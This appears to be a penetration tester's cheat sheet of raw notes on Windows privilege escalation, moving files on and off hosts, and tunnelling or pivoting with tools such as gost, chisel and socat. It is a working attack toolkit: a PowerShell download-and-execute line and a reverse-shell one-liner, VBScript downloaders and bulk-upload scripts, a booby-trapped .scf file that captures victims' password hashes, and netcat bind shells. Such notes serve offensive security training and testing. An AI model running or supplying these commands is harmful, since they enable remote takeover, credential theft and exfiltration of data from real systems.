:: Use the appropriate PS (x86/x64) powershell.exe -Exec Bypass -nop -w Hidden -NoLogo -NonInteractive -Command "IEX(New-Object System.Net.WebClient).DownloadString('http://<ip>/Sherlock.ps1'); Find-AllVulns"
- linPEAS.sh - Run with
-a
, use-P <pwd>
C:\Program Files
C:\WINDOWS\Debug
:: Logs from Apps
C:\WINDOWS\system32\LogFiles
:: SAM & System - Check .bak
C:\WINDOWS\system32\config
:: Memory dumps
C:\WINDOWS\MEMORY.DMP
:: Nothing special
C:\WINDOWS\system32\ReinstallBackups
:: Search *.log *.bak
C:\WINDOWS\
- VBScript to download binary files (type 1 -> bin; type 2 -> text but it looks like 2 doesn’t work and 1 also works with text) using ADO DB, run it with ~cscript //B //T:180 //Nologo wget.vbs “http://<ip-port>/<remote-file>” “<name>”~:
echo Dim strURL, StrFile > wget.vbs echo strUrl = WScript.Arguments.Item(0) >> wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, bytes >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = WScript.CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo WScript.Echo "Downloading " ^& StrFile >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo bytes = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo With WScript.CreateObject("ADODB.Stream") >> wget.vbs echo .Open >> wget.vbs echo .type = 1 >> wget.vbs echo .Write bytes >> wget.vbs echo .SaveToFile StrFile, 2 >> wget.vbs echo End With >> wget.vbs echo WScript.Echo "Done" >> wget.vbs
- Alternate script in case ADO DB is not installed using the trick described here, note that it is unreliable and may take a long time to write files:
echo Dim strURL, StrFile > wget.vbs echo strUrl = WScript.Arguments.Item(0) >> wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = WScript.CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = WScript.CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs
- Using System.Net.WebClient
:: Download file powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<ip>/evil.exe', 'evil.exe') :: Download and execute remote PS1 powershell IEX (New-Object Net.WebClient).DownloadString("http://<ip>/shell.ps1"); :: shell.ps1 $client = New-Object System.Net.Sockets.TCPClient("<ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- Check the Impacket>SMBserver section
- Apache-PHP local server for uploads:
/var/www/html/upload.php
(don’t forget to set theupload
folder towww-data
owner), note that the PHP built-in web server also parses PHP, so maybe this file also works:<?php $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . $_FILES['file']['name']; move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile) ?>
- Socat local server for the VBS:
socat TCP-LISTEN:8081,reuseaddr,fork SYSTEM:'file="$(eval printf "$(sed -u "s,^POST /\\+\\|\\.\\+/\\| HTTP[^ ]*$,,g;s,/\\+,/,g;s/%\\([0-9]\\+\\)/\\$(printf \\"\\\\\\%03o\\" \\$((0x\\1)))/g;q")")"; length=$(sed -nu "s,^Content-Length:\\s*\\([0-9]\\+\\).*,\\1,gp;/^\\s*$/q"); echo "[$(date "+%F %T")] Receiving $file - size $(numfmt --to=iec-i --suffix=B $length)" >&2; eval "dd ibs=1 count=$length of=\\\"$file\\\" status=none"; printf "\\r\\n"'
- Adapted VBScript from this, note that type 1 is binary and 2 text, use it as
cscript //B //T:180 //Nologo upload.vbs "http://<ip-port>/<remote-name>" "<file>"~ (quote the parameters to include spaces); upload all files in a directory with ~for %f in (.\*) do @cscript...%f "%f"~ (~for /R %f
for recursion), hidden files withfor /f "tokens=*" %f in ('dir /b/a:-d') do @cscript...
:
-
echo Dim strURL, strFile, dataFile, dataRequest > upload.vbs
echo strUrl = WScript.Arguments.Item(0) >> upload.vbs
echo strFile = WScript.Arguments.Item(1) >> upload.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> upload.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> upload.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> upload.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> upload.vbs
echo Err.Clear >> upload.vbs
echo Set http = Nothing >> upload.vbs
echo Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> upload.vbs
echo If http Is Nothing Then Set http = WScript.CreateObject("WinHttp.WinHttpRequest") >> upload.vbs
echo If http Is Nothing Then Set http = WScript.CreateObject("MSXML2.ServerXMLHTTP") >> upload.vbs
echo If http Is Nothing Then Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> upload.vbs
echo WScript.Echo "Uploading " ^& strFile >> upload.vbs
echo With WScript.CreateObject("ADODB.Stream") >> upload.vbs
echo .Open >> upload.vbs
echo .type = 1 >> upload.vbs
echo .LoadFromFile(strFile) >> upload.vbs
echo dataFile = .Read() >> upload.vbs
echo End With >> upload.vbs
echo dataRequest = dataFile >> upload.vbs
echo http.open "POST", strURL, False >> upload.vbs
echo http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" >> upload.vbs
echo http.setRequestHeader "Content-Length", Len(dataRequest) >> upload.vbs
echo http.send dataRequest >> upload.vbs
echo WScript.Echo "Done" >> upload.vbs
echo Set http = Nothing >> upload.vbs
- Convert the “binary” text files to “text” with
iconv
andchardetect
(pip install chardet
) - reference:# Detect the charset file -i <text-file-in-binary> # Or, alternatively: chardet <text-file-in-binary> # Check if it is BE or LE: # -> LE if the odd colums are 000 od An -bc <text-file-in-binary> | less # Convert it with GNU strings: # Add -w if missing tabs/newlines strings -ael <text-file-in-binary> > <converted> # Using POSIX iconv: # List all iconv encodings iconv -l # Convert it to UTF-8 iconv -f UTF-16LE// -t UTF-8// < <text-file-in-binary> > <converted> # Check the type again: file -i <text-file-in-binary> # Filter it if is still not correct: strings -w <converted> > <clean>
- This is an alternative in case ADO DB is not installed, but only works reliable with non-binary files, though you may try this workaround:
echo Dim strURL, strFile, dataFile, dataRequest > upload.vbs echo strUrl = WScript.Arguments.Item(0) >> upload.vbs echo strFile = WScript.Arguments.Item(1) >> upload.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> upload.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> upload.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> upload.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> upload.vbs echo Dim http, fs, of >> upload.vbs echo Err.Clear >> upload.vbs echo Set http = Nothing >> upload.vbs echo Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> upload.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("WinHttp.WinHttpRequest") >> upload.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("MSXML2.ServerXMLHTTP") >> upload.vbs echo If http Is Nothing Then Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> upload.vbs echo WScript.Echo "Uploading " & strFile >> upload.vbs echo Set fs = WScript.CreateObject("Scripting.FileSystemObject") >> upload.vbs echo Set of = fs.GetFile(strFile) >> upload.vbs echo With of.OpenAsTextStream() >> upload.vbs echo dataFile = .Read(of.Size) >> upload.vbs echo .Close >> upload.vbs echo End With >> upload.vbs echo dataRequest = dataFile >> upload.vbs echo http.open "POST", strURL, False >> upload.vbs echo http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" >> upload.vbs echo http.setRequestHeader "Content-Length", Len(dataRequest) >> upload.vbs echo http.send dataRequest >> upload.vbs echo WScript.Echo "Done" >> upload.vbs echo Set http = Nothing >> upload.vbs
- Using
System.Net.WebClient
to perform an HTTP POST:powershell (New-Object System.Net.WebClient).UploadFile('http://<ip>/upload.php', '<file>.docx')
- HTTP only (and file, FTP, rsync & git):
# Might not support redirects (iosock) perl -mFile::Fetch -le 'File::Fetch->new(uri=>"<url>")->fetch(to=>\$_) or die;print' # For FTP some changes may be required
- Shell Command Files (
.scf
) can be used to send a victim’s hashes to an attacker listening withresponder
- Send
.@evil.scf
to the victim:[Shell] Command=2 IconFile=\\<ip>\share\test.ico [Taskbar] Command=ToggleDesktop
- The
.@
symbols are used to hide it and give it top execution priority - When the victim access the folder with the
.scf
file, the attacker will receive a connection with the hashes
- Some Windows versions and user accounts (such as Administrator) may behave unreliably due to the
CopyHere
function - Remove the
//B
parameter to see the error CopyHere
codes vary: older - old - new- Try using as last parameter 4 (no copy dialog), 16 (answer yes to all), 1024 (no dialog if error) or False
- Note that using nothing (or 0) may hang the script as it prompts something in the UI and waits for the user interaction
- Also try appending a trailing backslash to the directory (and zip) path
- Ultimately try with a non-SYSTEM shell
- VBScript to be run with ~cscript //B //T:180 //Nologo unzip.vbs “<orig.zip>” “<dest-dir>”~, inspired by this:
echo Dim fso, strZip, strDir, objShell, filesInZip > unzip.vbs echo Set fso = WScript.CreateObject("Scripting.FileSystemObject") >> unzip.vbs echo strZip = fso.GetAbsolutePathName(WScript.Arguments.Item(0)) >> unzip.vbs echo strDir = fso.GetAbsolutePathName(WScript.Arguments.Item(1)) >> unzip.vbs echo WScript.Echo "Unzipping " ^& strZip ^& " into " ^& strDir >> unzip.vbs echo If NOT fso.FolderExists(strDir) Then >> unzip.vbs echo fso.CreateFolder(strDir) >> unzip.vbs echo End If >> unzip.vbs echo Set fso = Nothing >> unzip.vbs echo Set objShell = WScript.CreateObject("Shell.Application") >> unzip.vbs echo Set filesInZip = objShell.NameSpace(strZip).Items >> unzip.vbs echo objShell.NameSpace(strDir).CopyHere(filesInZip), 4 + 16 + 1024 >> unzip.vbs echo Set objShell = Nothing >> unzip.vbs
- VBScript to be run with ~cscript //B //T:180 //Nologo zip.vbs “<dest.zip>” “<orig-dir>”~, inspired by this:
echo Dim fso, strZip, strDir, objShell, intSrcItems, intSkipped, filesInDir > zip.vbs echo Set fso = WScript.CreateObject("Scripting.FileSystemObject") >> zip.vbs echo strZip = fso.GetAbsolutePathName(WScript.Arguments.Item(0)) >> zip.vbs echo strDir = fso.GetAbsolutePathName(WScript.Arguments.Item(1)) >> zip.vbs echo WScript.Echo "Zipping " ^& strDir ^& " into " ^& strZip >> zip.vbs echo With fso.OpenTextFile(strZip, 2, True) >> zip.vbs echo .Write "PK" ^& Chr(5) ^& Chr(6) ^& String(18, Chr(0)) >> zip.vbs echo .Close >> zip.vbs echo End With >> zip.vbs echo Set objShell = WScript.CreateObject("Shell.Application") >> zip.vbs echo Set filesInDir = objShell.NameSpace(strDir).Items >> zip.vbs echo intSkipped = 0 >> zip.vbs echo For Each objItem in filesInDir >> zip.vbs echo If objItem.IsFolder Then >> zip.vbs echo If objShell.NameSpace(objItem.Path).Items.Count = 0 Then >> zip.vbs echo intSkipped = intSkipped + 1 >> zip.vbs echo End If >> zip.vbs echo End If >> zip.vbs echo Next >> zip.vbs echo objShell.NameSpace(strZip).CopyHere(filesInDir), 4 + 16 + 1024 >> zip.vbs echo intSrcItems = filesInDir.Count - intSkipped >> zip.vbs echo Set filesInDir = Nothing >> zip.vbs echo Do Until objShell.NameSpace(strZip).Items.Count = intSrcItems >> zip.vbs echo WScript.sleep 200 >> zip.vbs echo Loop >> zip.vbs echo Set objShell = Nothing >> zip.vbs echo Set fso = Nothing >> zip.vbs
- Site - Recover deleted files (ref)
- Dump the journal (optional):
# Recommended to avoid overriding debugfs -R "dump <8> <sdnN>.jnl" /dev/<sdnN>
- Unmount partition:
umount /dev/<sdnN>
- List deleted files in last 6 hours:
# Remove -j <jnl> if no journal dump ext4magic /dev/<sdnN> -a $(date -d "-6hours" +%s) -f <inspect/folder> -j <sdnN>.jnl -l # -f is the path from <sdnN> root
- Recover deleted files in last 6 hours:
ext4magic /dev/<sdnN> -a $(date -d "-6hours" +%s) -f <inspect/folder> -j <sdnN>.jnl -r -d <dir-to-save> # Use -m instead of -r for < 100%
- Site - Parse .DS_Store cache content:
python3 main.py .DS_Store | awk '!x[$0]++' # Removes duplicates
- Wayback machine has an entry for http://support.microsoft.com/kb/927229 which contains many old tools that can be downloaded, including
whoami
,setx
, and pulist (+ others for drivers, etc) - SysInternals (maybe the original) may contain the rest of the tools (including
schtasks
)
- Kali - Incompatible:
locate plink.exe
- WinXP usable + OpenSSH usable: w32old
- All others (unchecked): w32 - w64
- Official page
- Script - s.minos.io static builds:
# Search static-get -s <search-pkg> # Use the <pkg.tar.xz> below # Download static-get <pkg-from-search-results> # -o <dir> - Set download directory
- Use
gost
to create a SOCKS tunnel +tun2socks
to create a TUN and runnmap
with-e <tun>
(allows UDP + SYN Scan) - Alternatively use
graftcp
orproxychains
for TCP CONNECT scan (-sT
) only in unprivileged mode (--unprivileged
), see - The builtin alternative is to use the
--proxies
flag though note it is experimental and limited to SOCKS4 or HTTP proxy only for NSE scripts, orncat
in listen mode with proxy flags to a SOCKS5 (TCP only)
- Get the binaries (or my changes)
- Supports TUN/TAP tunnels (admin in both sides required)
- TODO - Check if gost TUN to SOCKS is possible by setting the routing table as showed in the SSH VPN section
- Fallback to reverse-SOCKS-tunnel + use
tun2socks
(faster) orgraftcp
- Repository
- Python and SSH required in the target
- Route all the 192.168.1.0 traffic through the ssh server:
sshuttle --dns -r <user>@<ip> 192.168.1.0/24
- Only tproxy method supports UDP
- Reverse tunnels require some fiddling:
- Repository
- C++ Replacement for
sshuttle --method=tproxy
- Admin privileges in both sides required
- See how to do it - also here - and here
- Project - Has builtin FEC
- Project - Peer to Peer VPN
- Admin privileges in both sides required
- Tunnel through DNS
- Site
- Admin privileges in both sides required
- Tunnel through ICMP
- Respository
- Admin privileges in both sides required
- How to
- Admin privileges in both sides required
- How to
- Get the binaries
- Or just compile it:
make linux-amd64
auto
schemas (not specifying the protocol/transport) for the endpoints almost always achieve the fastest results- Set the
?udp=true
flag on the listener and last http/socks forwarder for UDP-over-TCP
- Use the
?bypass
flag with a file or a list of IPs, CIDR and domains with wildcards - See the file structure on the docs
- The method is almost the same as below:
# Example: Must tunnel through PAC proxy pacproxy -c <pac.file> -l 127.0.0.1:8008 # Just add this proxy as first forwarder gost -L 127.0.0.1:8888 -- -L rtcp://127.0.0.1:8010/127.0.0.1:8888 -F http://127.0.0.1:8008 -F auto+auto://<ip>:8080 # Change to http2 if supported by the # intermediate proxy
- Docs - Auth docs - Heartbeat docs
- Prefer QUIC/UDP-protos: Are around 10 times faster than TCP ones
- Prefer TLS+Websockets/HTTP 2.0: are faster
- Note that the SSH server can be a non-gost one (like sshd)
- Server (using my changes):
# The server will be the client gost -L socks5://127.0.0.1:1080?udp=true -F relay://127.0.0.1:8010 -- -L forward+ssh://:2222 # The -- -L ... can be removed if using # a non-gost ssh server
- Client (using my changes):
# The client will be the server gost -L relay://127.0.0.1:8888 -- -L rtcp://127.0.0.1:8010/127.0.0.1:8888 -F forward+ssh://<ip>:2222 # Relay performance flags: # ...relay://127.0.0.1:8888?nodelay=true # &bind=true # ^ Relay only has bind=true in Gost v3 # SSH Heartbeat: # ...ssh://<ip>:2222?ping=60 # Non-gost SSH Authentication: # ...ssh://<user>:<pass>@<ip>:2222 # or ssh://<ip>:2222?ssh_key=<rsa>
relay
appears to be faster thanauto
(nothing) orsocks5
forward+ssh
automatically selectsdirect
andreverse
modes but only works as the last proxy- How it works:
- S1080 -> S8010 -> S2222 -> C8888:
- (S)erver listens in TCP 1080&2222
- (C)lient listens in TCP 8888 and
- C starts a TCP 8010 listener in S
- via SSH (2222) redirected to 8888
- S 1080 port is redirected to 8010
- Docs - QUIC - Shadowsocks over KCP
- If QUIC (UDP) gets slow/unreliable try KCP (UDP + improved latency vs bandwidth tradeoff + error correction), or TCP transport protocols like websockets or transports/protocols to disguise the servers as HTTP ones (ss+ohttp, obsf4, sni, socks5+h2 or just
http
) - Gost-SOCKS default transport is TLS, prefer Shadowsocks for security (UDP traffic not supported)
- Server (using my changes):
# The server will be the client gost -L socks5://127.0.0.1:1080?udp=true -F 127.0.0.1:8010 -- -L socks5+quic://:8080
- Client - mSOCKS + keep-alive QUIC:
# The client will be the server gost -L 127.0.0.1:8888?udp=true -- -L rtcp://127.0.0.1:8010/127.0.0.1:8888 -F socks5+quic://<ip>:8080?keepalive=true&mbind=true # rudp + forward tricks don't work
- Server (using my changes):
# The server will be the client gost -L socks5://127.0.0.1:1080?udp=true -F relay://127.0.0.1:8010?nodelay=true -- -L tls+ws://:8080?compression=true # Is ?enableCompression=true on Gost v3
- Client:
# The client will be the server gost -L relay://127.0.0.1:8888?nodelay=true -- -L rtcp://127.0.0.1:8010/127.0.0.1:8888 -F tls+ws://<ip>:8080?compression=true&mbind=true # ^ Relay has bind=true in Gost v3
- Check whether websocket multiplexing (
mws
) improves or worsens the performance - In my tests
mws
is very inconsistent when used to scan a single port - Use websockets over TLS on their own with
wss
ormwss
- Use 2
auto
listeners with anauto
forwarder# On our server - Use one of the above gost -L 127.0.0.1:1080 -F auto://[...] # On Reverse Proxy - Using my changes gost -L 127.0.0.1:8888 -F 127.0.0.1:8010 -- -L 127.0.0.1:8010 # Test it with curl curl -x http://127.0.0.1:1080 <site> curl -x socks5://127.0.0.1:1080 <site>
- This tricks bypasses the case where the 8888 listener gets a Proxy CONNECT from any of the intermediate forwarders encapsulating Socks5
- Using the SOCKS tunnel:
# Server side - ncat (>7.91) check: ncat --proxy 127.0.0.1:1080 --proxy-type socks5 -nv <client-side-ip> <client-side-port> # Server side - curl check: curl -s -x socks5://127.0.0.1:1080 -L http://<client-http-server> | w3m -T text/html # Server side - nmap/wireshark... # use tun2socks with TCP 1080
- Bind-netcat (remove the appropriate client/server
-L ...
configuration):# Client side: nc -lnvp 8888 -e /bin/sh # Server side: nc -nv 127.0.0.1 8010
- Docs - Linux only (requires iptables)
- Transparently redirect all TCP and UDP traffic to a given network
- Get the binaries from the releases
- The proxy is opened on the server-side
- Server:
# key: non-mandatory - put anything chisel server -p 8010 --socks5 --reverse --key test # Annotate the fingerprint value
- Client:
# Put fingerprint in <server-print> chisel client --fingerprint "<server-print>" <ip>:8010 R:1080:socks # Proxy on port 1080 on server-side
- Forward SOCKS/Dynamic:
plink -ssh -N -l <usr> -pw <pass> -D 1080 <usr>@<ip>
- Reverse SOCKS/Dynamic doesn’t seem to work in
plink
- Creates a TUN interface (admin required) redirecting the traffic to a SOCKS5 server
- Shadowsocks (
ss
) and Direct (direct
) proxy modes are also supported - Get the binaries from the release page
- Or use the BadVPN version (config)
- TUN configuration (ref):
ip tuntap add mode tun dev tun10 # Only these two lines are needed # if tun2socks was previously run: ip addr add 10.0.0.1/31 dev tun10 ip link set tun10 up
- Usage:
# Use ss for shadowsocks tun2socks -device tun://tun10 -tcp-auto-tuning -loglevel warning -proxy socks5://127.0.0.1:1080 # direct just creates a tun proxying # to the system DNS/routes
ss
requires a cipher and pass, no-UDP:tun2socks -device tun://tun10 -loglevel warn -proxy ss://AEAD_CHACHA20_POLY1305:<pass>@127.0.0.1:1080 # Gost has a different cipher syntax # Same ss://<cipher:pass>@<ip:port>
- Nmap config:
# The -n causes major speed-up nmap -sS -sU -sV -Pn [...] -e tun10 -n <target-machine-ip>
- Binaries - designed mainly for Brook server
- Usage:
ipio tun2socks5 -s 127.0.0.1:1080 --doNotChangeAnything # Configure the TUN as shown in the # tun2socks > TUN configuration
- Not based on
LD_PRELOAD
, works on static binaries - Get the binaries from the release page
- Usage:
# Remember to use TCP CONNECT scans mgraftcp --http_proxy <ip:port> --select_proxy_mode only_http_proxy -n <cmd> # --select_proxy_mode: Use for local addrs # -n - Proxy local addresses # --socks5 <ip:p> - Proxy via socks5 # --socks5_password <pass> # --socks5_username <user>
- Prior to v0.4
- Server
# Run with sudo if sudoing graftcp graftcp-local -loglevel 3 -socks5 :1080
- Client
# -n proxies localhost (127.0.0.1) # making nmap ... 127.0.0.1 work graftcp -n <command>
- Server
- Hack based on
LD_PRELOAD
(linux) - Modify the last line of
proxychains.conf
to use the 1080 port, also check if using socks4 vs socks5 - You may want to uncomment
quiet_mode
- Use is as follow:
:: Python pip works proxychains_win32_x86.exe -f proxychains.conf <program>
- Unfortunately neither IE nor Edge seem to like the proxy settings, the only alternative appears to be downloading Firefox Portable and configure to use the socks5 proxy
- Docs - Auth
- Note:
forward
mode only supports TCP - Forward TCP - SSH native:
# Server gost -L forward+ssh://:2222 # Client gost -L tcp://127.0.0.1:8080/:80 -F forward+ssh://<ip>:2222?ping=60
- Reverse UDP - SSH encapsulated:
# Server -> will be the client gost -L ssh://:2222 # Client -> will be the server gost -L rudp://:5353/<dns-ip>:53 -F ssh://<ip>:2222?ping=60 # Ignore the log about SOCKS
- Docs
- Forward TCP:
gost -L tcp://127.0.0.1:3333/<ip>:1212
- Reverse UDP:
# Reverse requires a proxy listening gost -L rudp://:5353/<dns-ip>:53 -F <ip>:3355
- Forward Tunnel over TLS:
# Server gost -L tls://:8443/<target-ip>:80 # Client gost -L tcp://:8080 -F forward+tls://:8443 # Connect to client
- Docs
- Only port-forwarding/tunneling is supported (but you can bypass this with a reverse-tunnel + SOCKS5 wrap)
- Port forwarding:
# Server gost -L relay://:9999 # Client gost -L udp://:5353/<dns>:53 -L tcp://:8080/:80 -F relay://<ip>:9999?nodelay=true # UDP: C 5353 -> S 9999 -> <dns>:53 # TCP: C 8080 -> S 9999 -> S 80
- Forward tunnel:
# Server gost -L relay://:9999/<dns>:53 # Client gost -L udp://:5353 -L tcp://:8080 -F relay://<ip>:9999?nodelay=true # UDP: C 5353 -> S 9999 -> <dns>:53 # TCP: C 8080 -> S 9999 -> <dns>:53
- The
nodelay
flag (defaultfalse
) will only relay the connection to the server if data is received from the client - This means that simple port-pinging or connection won’t be transparently relayed unless the flag is
true
- Binaries
- Usage - Reverse port forwarding:
# Server mr2 server -l :9999 -p password # Client mr2 client -s <ip>:9999 -p password -P 8888 -c 127.0.0.1:8080 # Server's port 8888 redirect to # client's 8080
- Reverse directory listing:
# Server mr2 server -l :9999 -p password # Client mr2 client -s <ip>:9999 -p password -P 8888 --clientPort 8080 --clientDirectory <path> # <path> will be accessible over # server's 8888
- Forward redirection (ref1, ref 2):
# Local 8080 redirected to <ip>:80 socat TCP-LISTEN:8080 TCP:<ip>:80 # With DNS forwarding socat TCP-LISTEN:8080,fork SOCKS4A:127.0.0.1:<ip>:80,socksport=5678
- Reverse redirection:
plink.exe -ssh -N -l <user> -pw <pass> -R 192.168.1.1:1212:127.0.0.1:6000 192.168.1.1 <user>@<host>
- Project
- Create the configuration (
rinetd.conf
):# lhost lport rhost rport <lip> 80 <rip> 80
- Start in the foreground:
rinetd -f -c rinetd.conf
- Simple HTTP(S) or HTTP2:
# HTTP gost -L http://:8080 # HTTPS gost -L https://:8080 # HTTP2 gost -L http2://:8080 # HTTP 1.1 to HTTP 2.0 gost -L http://:8080 -F http2://:9090 -- -L http2://:9090 # http & ohttp -> HTTP 1.1 transports # h2c & h2 -> HTTP 2.0 transports
- TLS to SNI forwarding:
# Server gost -L tls://:4433/:3344 -L sni://:3344 # SNI is a TLS extension to specify # the target domain to the server # Client gost -L :8080 -F forward+tls://<ip>:4433
- Relay HTTP/SOCKS:
# Server gost -L relay+tls://:1080 # Client gost -L :8080 -F relay+tls://<ip>:1080?nodelay=false
- Proxy Usage - Curl:
curl -s -x http://127.0.0.1:8080 -L https://<site> | w3m -T text/html
- Strip TLS from incoming traffic:
gost -L tls://127.0.0.1:4433/127.0.0.1:8080 # Test it with a netcat listener: echo -ne 'HTTP/1.0 404\r\nContent-Length: 0\r\n\r\n' | nc -lnvp 8080 # And curl connecting via HTTPS curl -i -k https://127.0.0.1:4433
- Add TLS to outgoing traffic:
# The response includes a CONNECT header gost -L tcp://127.0.0.1:8080/127.0.0.1:8008 -L tcp://127.0.0.1:8008 -F tls://127.0.0.1:4433 # Test it with a netcat listener: nc -lnvp 4433 # And curl connecting via HTTP curl http://127.0.0.1:8080 # Decode it back: gost -L tls://127.0.0.1:4433 -F sni://127.0.0.1:8888
- Site - Add SSL/TLS to local HTTP services
# Note that gost should also work # Useful for making php -S HTTPS php -S 127.0.0.1:8080 & # Generate a cert openssl req -new -x509 -days 365 -nodes -out crt.pem -keyout crt.pem -batch # Add HTTPS on 4433 IPv4 stunnel3 -d 0.0.0.0:4433 -r 8080 -f -p crt.pem -P /tmp/.stunnel.pid # -P <path> is needed for non-root
- Site - Bind < 1024 ports as non-root:
# Netcat bind in port 80 as non-root authbind nc -lnvp 80
- Core Perl listeners - Return 404:
# Connection timeout set to 5 seconds # Localhost only, listens to 80 and 443 perl -le '$SIG{CHLD}=IGNORE;$"=",pack+";$p=fork//die?80:443;socket+S,2,1,6;eval"setsockopt+S,@$_"for["1,2","l,1"],["1,13","ii,1,5"],["1,21",q/"l!2",5/],["6,18","L,5000"];bind+S,pack+snsnN2,2,$p,127,1;listen+S,1;close$;while(accept$;,S),fork//1;print$;("HTTP/1.0 404\r\nContent-Length: 0\r\n\r")' # The first socket call is equivalent to: # socket$s,PF_INET,SOCK_STREAM, # getprotobyname("tcp") # Packed arrays structure: # [ <Sock-Level>, <Level-Opt>, <Rest*> ] # Sock-Level 1 -> SOL_SOCKET # Level-Opt 2 -> SO_REUSEADDR # Level-Opt 13 -> SO_LINGER # Level-Opt 21 -> SO_SNDTIMEO # See man socket7, asm-generic/socket.h # Sock-Level 6 -> getprotobyname("tcp") # or Socket::IPPROTO_TCP # Level-Opt 18 Socket::TCP_USER_TIMEOUT # See man tcp7 & ip7, and linux/tcp.h # See if the socket options are set perl -E '$"=",pack+";$,=" ";socket$s,2,1,6;map{eval"setsockopt\$s,@$_;say unpack\"(H2)*\",getsockopt\$s,$$_[0]"}["1,2","l,1"],["1,13","ii,1,5"],["1,21",q/"l!2",5/],["6,18","L,5000"]' # Minimal on 0.0.0.0, no timeout nor reuse # Causes errors on the clients perl -e '$SIG{CHLD}=IGNORE;$_=fork//die?80:443;socket+S,2,1,6;bind+S,pack+sn7,2,$_;listen+S,1;close$;while(accept$;,S),fork//1;shutdown$;,2' # shutdown results in "Empty reply" error # Remove shutdown for "Connection reset" # The pack magic comes from this perl -MSocket -E '$,=" ";say+unpack"(H2)*",sockaddr_in+8888,127.0.0.1' # ^ using pack with hex-encoded addr is: perl -E 'say join" ",unpack"(H2)*",pack+snN3,2,8888,0x7f000001' # Or compacted: perl -E 'say join" ",unpack"(H2)*",pack"(sn)4",2,8888,127,1' # Or full IP - comma delimited: perl -E 'say join" ",unpack"(H2)*",pack+snC12,2,8888,192,168,1,1' # Or full IP - v-string (not portable): perl -E 'say join" ",unpack"(H2)*",pack+sna12,2,8888,127.0.0.1' # Or full IP - v-string (portable): perl -E 'say join" ",unpack"(H2)*",pack+snN3,2,8888,unpack+N,127.0.0.1'
- Core Perl Webserver - HTTP/1.1 Keep-alive:
